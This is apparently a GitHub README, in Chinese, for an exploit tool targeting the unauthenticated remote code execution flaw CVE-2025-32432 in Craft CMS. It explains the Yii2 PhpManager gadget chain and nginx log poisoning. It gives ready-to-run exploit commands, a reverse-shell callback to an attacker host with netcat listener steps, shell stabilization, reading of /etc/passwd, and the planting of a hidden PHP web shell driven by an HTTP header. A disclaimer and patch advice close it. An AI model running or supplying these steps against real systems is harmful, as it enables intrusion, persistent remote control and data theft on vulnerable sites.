cd-ratel/CVE-2025-32432

GitHub: cd-ratel/CVE-2025-32432

针对 Craft CMS <= 5.6.16 未授权 RCE 漏洞(CVE-2025-32432)的完整利用工具,通过 Yii2 PhpManager gadget 链配合 nginx 日志投毒实现远程命令执行。

Stars: 0 | Forks: 0

# CVE-2025-32432 - Craft CMS 未授权 RCE PoC 搜索关键字:`CVE-2025-32432`、`Craft CMS RCE`、`Craft 5.6.16 exploit`、`Yii2 PhpManager gadget`、`craftcms generate-transform`、`Component::__set as behavior`、`nginx log poisoning Craft`、`unauth RCE craftcms 2025`。 ## TL;DR ``` git clone https://github.com/cd-ratel/CVE-2025-32432 cd CVE-2025-32432 pip install -r requirements.txt python3 exploit.py -u http://victim.tld -c 'id' ``` 默认模式针对原生 Craft CMS 安装。项目中包含了一个 `--lab` 标志,用于 [hacklab-platform](https://github.com/cd-ratel/hacklab-platform) 项目的 `carangueijada-20` 挑战,该挑战通过自定义会话 cookie 对 Craft 进行网关保护。 ## 漏洞详情 受影响组件:`craft\controllers\AssetsController::actionGenerateTransform`。 该 action 注册为 `allowAnonymous`,因此不需要身份验证。它接受一个 POST 参数 `handle`,随后该参数会被**展开**到 `Craft::createObject()` 调用中: ``` $transform = Craft::createObject([ 'class' => ImageTransform::class, ...$handle, ]); ``` 当 `$handle` 是受攻击者控制的关联数组时,展开操作会将任意键注入到构造函数配置中。特别是,以 `as ` 开头的键会被 `yii\base\Component::__set` 解释为行为附加,从而在**任何类型检查之前**对该值调用 `Yii::createObject($config)`: ``` elseif (strncmp($name, 'as ', 3) === 0) { $name = trim(substr($name, 3)); $this->attachBehavior( $name, $value instanceof Behavior ? $value : Yii::createObject($value), ); return; } ``` Yii2 在 2.0.50 版本中的修复增加了 `is_subclass_of($value['class'], Behavior::class)` 来保护此分支;存在漏洞的安装(Yii2 <= 2.0.49,或更早版本的补丁检查)则完全跳过了该保护。 ### Gadget:`yii\rbac\PhpManager` `PhpManager` 是 Yii2 的内置类。其 `init()` 方法调用 `load()`,后者调用 `loadFromFile($this->itemFile)`。`loadFromFile` 实际上是: ``` protected function loadFromFile($file) { if (is_file($file)) { return require $file; } return []; } ``` `require` 将磁盘上的任何文件作为 PHP 解析。如果文件包含 `` 块,该代码块将在 worker 进程中运行。通过将 `itemFile` 指向攻击者可控内容的文件,即可实现完全的 RCE。 ### Sink:nginx `access.log` 跨安装的可靠利用点是 nginx combined 格式的 `access.log`。它会原样记录请求的 `User-Agent`,包括不可打印字符和大多数标点符号。通过发送 `User-Agent` 为 `` 的请求,攻击者可以在已知路径植入一个 PHP 代码块。然后将 `itemFile` 指向 `/var/log/nginx/access.log`,`require` 就会包含该日志文件,并按顺序执行其中所有的 `` 代码块。 这里有两个需要注意的细节: 1. Payload 中**不能有双引号**。nginx 会在 combined 格式中将 `"` 转义为 `\x22`,这会破坏 PHP 对该行的解析。请使用单引号或 `chr()` 拼接。 2. **在末尾加上 `exit;`**,以便 `require` 在解析可能包含其他畸形 payload 的后续日志行之前中止。 ## 受影响版本 | 组件 | 存在漏洞 | 已修复 | |-----------|------------|---------| | Craft CMS | <= 5.6.16 | 5.6.17 | | Craft CMS | <= 4.15.2 | 4.15.3 | | Craft CMS | <= 3.9.14 | 3.9.15 | | Yii2 | <= 2.0.49 | 2.0.50 | Craft 5.6.17 增加了对 transformer 类的 `ImageTransformerInterface` 检查。Yii2 2.0.50 在 `Component::__set` 中增加了 `Behavior` 子类检查。任一修复均可阻断此特定 gadget 链。 ## 环境要求 - Python 3.8+ - `requests` 库 (`pip install -r requirements.txt`) - 到目标 HTTP(S) 端点的网络可达性 - 目标上的有效 Craft `assetId`。默认值为 `2`;如有需要可使用 `-a ` 覆盖(asset id 1 通常是管理员头像)。 ## 使用方法 ### 原生 Craft CMS ``` python3 exploit.py -u http://victim.tld -c 'id' ``` ### 挂载在路径前缀下的 Craft ``` python3 exploit.py -u http://victim.tld -p /cms -c 'id' ``` ### 自定义 asset ID ``` python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd' ``` ### 自定义 `itemFile`(不同的日志路径、FPM session 等) ``` python3 exploit.py -u http://victim.tld \ -i /var/log/apache2/access.log \ -c 'id' ``` ### 实验室模式 (carangueijada-20 挑战) 来自 [hacklab-platform](https://github.com/cd-ratel/hacklab-platform) 的 `carangueijada-20` 实验室要求使用由 `PATCH /login` 颁发的 `coopsess` cookie 才能访问 Craft 安装。`--lab` 标志会自动处理该交互过程。 ``` python3 exploit.py --lab \ -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \ -c 'id; uname -a' ``` 确保 `www.carangueijada.coop` 解析到实验室 IP(如有需要可将其添加到 `/etc/hosts`)。 ### 反弹 shell `--revshell` 标志会触发一个 `bash -i >& /dev/tcp// 0>&1` 的回调连接,该命令在后台运行,使得 gadget 的 POST 请求瞬间返回。 **双终端流程(最可靠):** ``` # 终端 1 - 你机器上的 listener nc -lvnp 4444 # 终端 2 - 发送 exploit python3 exploit.py -u http://victim.tld \ --revshell --lhost 1.2.3.4 --lport 4444 ``` **带有内置监听器的单终端流程:** ``` python3 exploit.py -u http://victim.tld \ --revshell --lhost 1.2.3.4 --lport 4444 \ --auto-listen ``` `--auto-listen` 会在发送 payload 之前,在同一终端中生成 `nc -lvnp `。操作完成后按 Ctrl+C 退出。 示例会话 (实验室): ``` $ python3 exploit.py --lab \ -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \ --revshell --lhost 10.200.0.20 --lport 4444 [*] Reverse shell payload -> 10.200.0.20:4444 [!] On YOUR machine run first: nc -lvnp 4444 [*] Firing in 3s (give your listener time to bind)... [*] Lab mode: PATCH /login to obtain coopsess cookie [*] coopsess cookie acquired [*] Probing for existing wrapper at /tmp/.cve32432_w.php [*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php) [*] HTTP 200 [*] Reverse shell fired. # 在 listener 中: Connection received on 10.10.99.20 56498 bash: cannot set terminal process group (149): Inappropriate ioctl for device bash: no job control in this shell www-data@carangueijada:~/craft/web$ ``` **稳定 shell**(连接建立后,在 reverse shell 中运行): ``` python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z 将 nc 置于后台 stty raw -echo; fg # 按两次 Enter export TERM=xterm; export SHELL=/bin/bash stty rows 50 cols 200 ``` ## 幂等性原理 在首次运行时,漏洞利用程序会污染一次 `access.log`,从而在 `/tmp/.cve32432_w.php` 处植入一个隐藏的 PHP wrapper。该 wrapper 会读取 `X-Cmd` HTTP 头并执行 `system($_SERVER['HTTP_X_CMD'])`。随后的每次调用都会将 `itemFile` 指向该 wrapper 文件,并通过 header 传递命令。不再需要重新污染,不再产生日志污染,也不再出现“第一个 ` HTTP 200 [*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log) [*] HTTP 200 uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux ``` 日志污染回退(目标之前已被利用,较旧的 payload 在你的 payload 之前执行并退出了): ``` [!] Markers not found; log appears polluted by older poison. [!] Falling back to tail-of-body extraction. Output below comes [!] from the FIRST ImageTransform::class, ...$handle]`。我们的 `handle[as gadget]` 在展开后保留下来。 3. `Craft::createObject($config)` 调用 `Yii::$container->get(ImageTransform::class, [], $config)`,该过程实例化 `ImageTransform` 并通过 `$transform->{$key} = $value` 写入每个剩余的配置键。 4. 当解析器遇到 `as gadget` 时,`Component::__set` 匹配到 `as ` 前缀并调用 `Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])`。 5. `Yii::createObject` 构造 `PhpManager`,先运行 `__construct()` 然后运行 `init()`。 6. `PhpManager::init()` -> `load()` -> `loadFromFile($this->itemFile)` -> `require '/var/log/nginx/access.log'`。 7. PHP 解析日志文件。非 PHP 文本被回显到标准输出(最终出现在 HTTP 响应正文中)。`` 代码块在 worker 进程中执行。 8. 我们植入的 payload 运行 `system($cmd)` 和 `exit;`。输出显示在响应正文中对应 `` payload | 轮换/截断目标上的日志。如果你只能以 `id` 权限执行 RCE,请等待下一次 logrotate,或者通过可写的 PHP 文件(例如包含 `system($_SERVER['HTTP_X_CMD']);` 的 `/tmp/wrapper.php`)进行中转,并在后续将该文件作为 `itemFile` 使用。 | | `assetId not found` | 该安装的 ID 错误 | 浏览公共 asset URL 以枚举 ID,或尝试 `-a 1` 然后尝试 `-a 3..N`。 | | 目标已修补 | Craft >= 5.6.17 或 Yii2 >= 2.0.50 | 攻击链已被阻断;请寻找其他存在漏洞的类或放弃。 | | Payload 触发 PHP 致命错误 | 旧的日志条目包含畸形的 PHP,在你的代码块之前破坏了解析器 | 与日志污染的修复方法相同:轮换日志。 | ### 日志污染变通方法(无管理员权限) 如果你只能可靠地运行 `id`(因为较早的 `exit;` 污染锁定了攻击链),一个可行的中转方法是让这个单一的 `id` 类命令**将一个 PHP wrapper 写入到你可控的路径**,然后在所有后续请求中将 `itemFile` 更改为该路径: ``` # 使用以 www-data 身份释放 /tmp/w.php 的命令进行 one-shot poison WRAPPER='' B64=$(printf %s "$WRAPPER" | base64 -w0) CMD="echo $B64|base64 -d > /tmp/w.php" # 将 CMD 编码为 chr() ... ``` 然后调用: ``` python3 exploit.py -u http://victim.tld \ -i /tmp/w.php \ -c 'whoami' ``` 随后的每次调用都会读取 `/tmp/w.php`(这是一个干净的 PHP 文件,在我们的 payload 之前没有任何多余内容),并从 `X-Cmd` 头运行命令。如果你想将其作为一种内置模式,可以自行修改脚本。 ## 文件 ``` . ├── exploit.py # the PoC ├── README.md # this file ├── requirements.txt # Python deps (just `requests`) └── LICENSE # MIT ``` ## 参考资料 - Craft CMS 知识库条目:https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432 - GitHub 安全建议 (GHSA-f3gw-9ww9-jmc3):https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3 - SensePost 在野活动分析:https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/ - NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-32432 - Yii2 `Component.php`(存在漏洞的修订版):https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php - Yii2 修复 (2.0.50):https://github.com/yiisoft/yii2/pull/19938 - 修复 5.6.17 的 Craft CMS 提交:https://github.com/craftcms/cms/commit(搜索 2025-04-09 前后的 "ImageTransformerInterface") - OWASP 日志注入:https://owasp.org/www-community/attacks/Log_Injection - HackTricks 通过 nginx 日志实现 LFI-to-RCE:https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log ## 免责声明 本概念验证仅出于**防御性研究、教育用途和授权渗透测试**目的发布。在大多数司法管辖区,对您不拥有或未获得书面测试许可的系统运行此程序是违法的。作者对滥用行为不承担任何责任。 如果您维护着 Craft CMS 安装,请**立即升级到 5.6.17 或更高版本**(或相应的 4.x / 3.x 补丁版本)。该漏洞极易被利用,并且已被 SensePost 记录的在野攻击活动所使用。 ## 许可证 MIT。详情请见 [LICENSE](LICENSE)。
标签:CISA项目, CMS安全, Craft CMS, CVE-2025-32432, Exploit, Gadget链, JavaScript, Nginx日志注入, PhpManager, PHP漏洞, PoC, RCE, Web安全, XXE攻击, Yii2框架, 反序列化, 日志投毒, 暴力破解, 未授权攻击, 概念验证, 编程工具, 蓝队分析, 远程代码执行